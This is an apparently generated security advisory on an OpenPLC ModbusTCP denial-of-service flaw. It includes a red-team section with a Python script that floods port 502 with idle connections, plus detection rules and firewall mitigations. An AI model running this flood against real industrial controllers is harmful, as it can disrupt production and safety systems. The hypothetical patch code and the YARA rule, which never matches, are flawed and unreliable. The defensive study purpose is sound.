CVE-2025-53476

Executive Summary

CVE-2025-53476 is a denial of service (DoS) vulnerability in the ModbusTCP server functionality of OpenPLC _v3 (commit a931181e8b81e36fadf7b74d5cba99b73c3f6d58). The flaw allows an unauthenticated attacker to exhaust server resources by opening a series of TCP connections, preventing the server from processing subsequent legitimate Modbus requests. With a CVSS score of 5.3 (Medium), this vulnerability poses a moderate risk to industrial control systems (ICS) relying on OpenPLC for automation. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild.

Supply Chain & Package Security

This vulnerability affects OpenPLC, an open-source PLC runtime commonly used in industrial automation and research environments. As a software supply chain component, unpatched versions of OpenPLC can be deployed in critical infrastructure, making it a target for adversaries seeking to disrupt operations. Organizations should inventory their use of OpenPLC and apply vendor updates when available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: Low (A:L) – Service degradation, not full outage.

Threat Level: Medium. The vulnerability is easy to exploit remotely but only causes partial denial of service. However, in ICS environments, even temporary disruption of Modbus communications can halt production lines or safety systems.

Deep Dive & Mechanics

The vulnerability resides in the ModbusTCP server implementation within OpenPLC _v3. The server handles incoming TCP connections on port 502 (default Modbus port). When a client opens a TCP connection, the server allocates resources (e.g., socket descriptors, memory buffers) to manage the session. The flaw occurs because the server does not enforce a limit on the number of concurrent TCP connections. An attacker can open a large number of connections without sending complete Modbus requests, exhausting the server's connection pool or file descriptor limit. Once the limit is reached, the server cannot accept new connections or process existing Modbus requests, leading to a denial of service.

The root cause is a missing resource exhaustion check in the connection handling loop. The server likely uses a blocking accept() call without a timeout or connection count limit, allowing an attacker to tie up all available sockets.

Vulnerable vs. Patched Code

Vulnerable Code (OpenPLC _v3, commit a931181):

// Simplified representation of the vulnerable ModbusTCP server loop
while (1) {
    int client_fd = accept(server_fd, (struct sockaddr*)&client_addr, &addr_len);
    // No limit on concurrent connections
    // No timeout for idle connections
    handle_modbus_client(client_fd);
}

Patched Code (Hypothetical fix):

#define MAX_CONNECTIONS 100
int active_connections = 0;

while (1) {
    if (active_connections >= MAX_CONNECTIONS) {
        sleep(1); // or reject new connections
        continue;
    }
    struct timeval timeout = {5, 0}; // 5 second timeout
    setsockopt(server_fd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout));
    int client_fd = accept(server_fd, (struct sockaddr*)&client_addr, &addr_len);
    if (client_fd >= 0) {
        active_connections++;
        // Spawn thread or process with connection limit tracking
        handle_modbus_client(client_fd);
    }
}

The patch introduces a maximum connection limit and a socket timeout to prevent resource exhaustion.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

• Target: OpenPLC _v3 running on a Linux VM (e.g., Ubuntu 22.04) with ModbusTCP enabled on port 502.
• Attacker: Kali Linux VM with Python3 and netcat.

Exploitation Steps:

1. Identify the target OpenPLC server using Shodan or Nmap:

   nmap -p 502 --script modbus-discover <target_ip>
   

2. Open multiple TCP connections without sending Modbus data to exhaust resources:

   import socket
   import time
   
   target_ip = "192.168.1.100"
   target_port = 502
   connections = []
   
   for i in range(200):  # Open 200 connections
       try:
           s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
           s.settimeout(5)
           s.connect((target_ip, target_port))
           connections.append(s)
           print(f"Connection {i+1} opened")
       except Exception as e:
           print(f"Failed to open connection {i+1}: {e}")
           break
   
   # Keep connections open to maintain DoS
   time.sleep(60)
   

3. Verify DoS by attempting a legitimate Modbus read:

   # Using modbus-cli or similar tool
   modbus read -t 3 -a 1 -r 0 -c 10 <target_ip>
   # Should timeout or fail
   

Expected Outcome: The server stops responding to new Modbus requests after exhausting its connection pool.

Blue Team (Detection & Response)

Detection:

• Monitor for a high number of TCP connections to port 502 from a single IP within a short time window.
• Use network flow data to detect anomalous connection patterns.

Response:

• Implement rate limiting on the firewall to restrict connections per source IP.
• Configure the OpenPLC server to limit concurrent connections (if patched).
• Restart the OpenPLC service to clear the connection pool.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Multiple TCP SYN packets to port 502 from a single source IP within seconds.
  • High number of established TCP connections to port 502 without Modbus application data.
  • Connection timeouts on legitimate Modbus requests.

• Host IOCs:

  • OpenPLC process consuming excessive file descriptors (check with lsof -p <pid>).
  • System logs showing "Too many open files" errors.
  • Modbus server logs (if enabled) showing connection failures.

• Sample Suricata/Snort Rule:

  alert tcp $EXTERNAL_NET any -> $HOME_NET 502 (msg:"Potential OpenPLC DoS - Excessive Connections"; flow:to_server; threshold:type both, track by_src, count 50, seconds 10; classtype:denial-of-service; sid:1000001; rev:1;)
  

Detection Engineering

YARA Rule

rule OpenPLC_DoS_Connection_Flood {
    meta:
        description = "Detects network traffic indicative of OpenPLC ModbusTCP DoS attack"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53476"
    strings:
        $modbus_header = { 00 00 00 00 00 06 }  // Modbus TCP header (transaction ID 0, protocol ID 0, length 6)
    condition:
        // Detect multiple connections without Modbus data
        #modbus_header < 10 and // Few Modbus headers in traffic
        // Additional logic would require network capture context
        false
}

Sigma Rule

title: OpenPLC ModbusTCP DoS - Excessive Connections
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects a high number of TCP connections to OpenPLC Modbus port 502 from a single source
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: windows
    service: sysmon
detection:
    selection:
        DestinationPort: 502
        Initiated: true
    timeframe: 10s
    condition: selection | count() by SourceIp > 50
falsepositives:
    - Legitimate SCADA polling from multiple devices
level: medium

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 502 (msg:"CVE-2025-53476 OpenPLC ModbusTCP DoS Attempt"; flow:to_server; threshold:type both, track by_src, count 50, seconds 10; classtype:attempted-dos; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Network Access: Use firewall rules to limit access to port 502 to trusted IP addresses only.
2. Connection Rate Limiting: Implement iptables rules to limit new connections per source IP:

   iptables -A INPUT -p tcp --dport 502 -m connlimit --connlimit-above 10 --connlimit-mask 32 -j DROP
   

3. Monitor and Alert: Deploy the provided Suricata/Sigma rules to detect abuse.

Long-Term Fix:

• Apply vendor patch when available. If no patch is released, consider modifying the OpenPLC source code to limit concurrent connections and add socket timeouts.
• Upgrade to a newer version of OpenPLC if the vulnerability is addressed in a later commit.

Workaround:

• Use a reverse proxy or load balancer in front of OpenPLC to manage connection limits.

Valters IT signature: This report is generated for educational and defensive purposes. Always verify with official sources before taking action.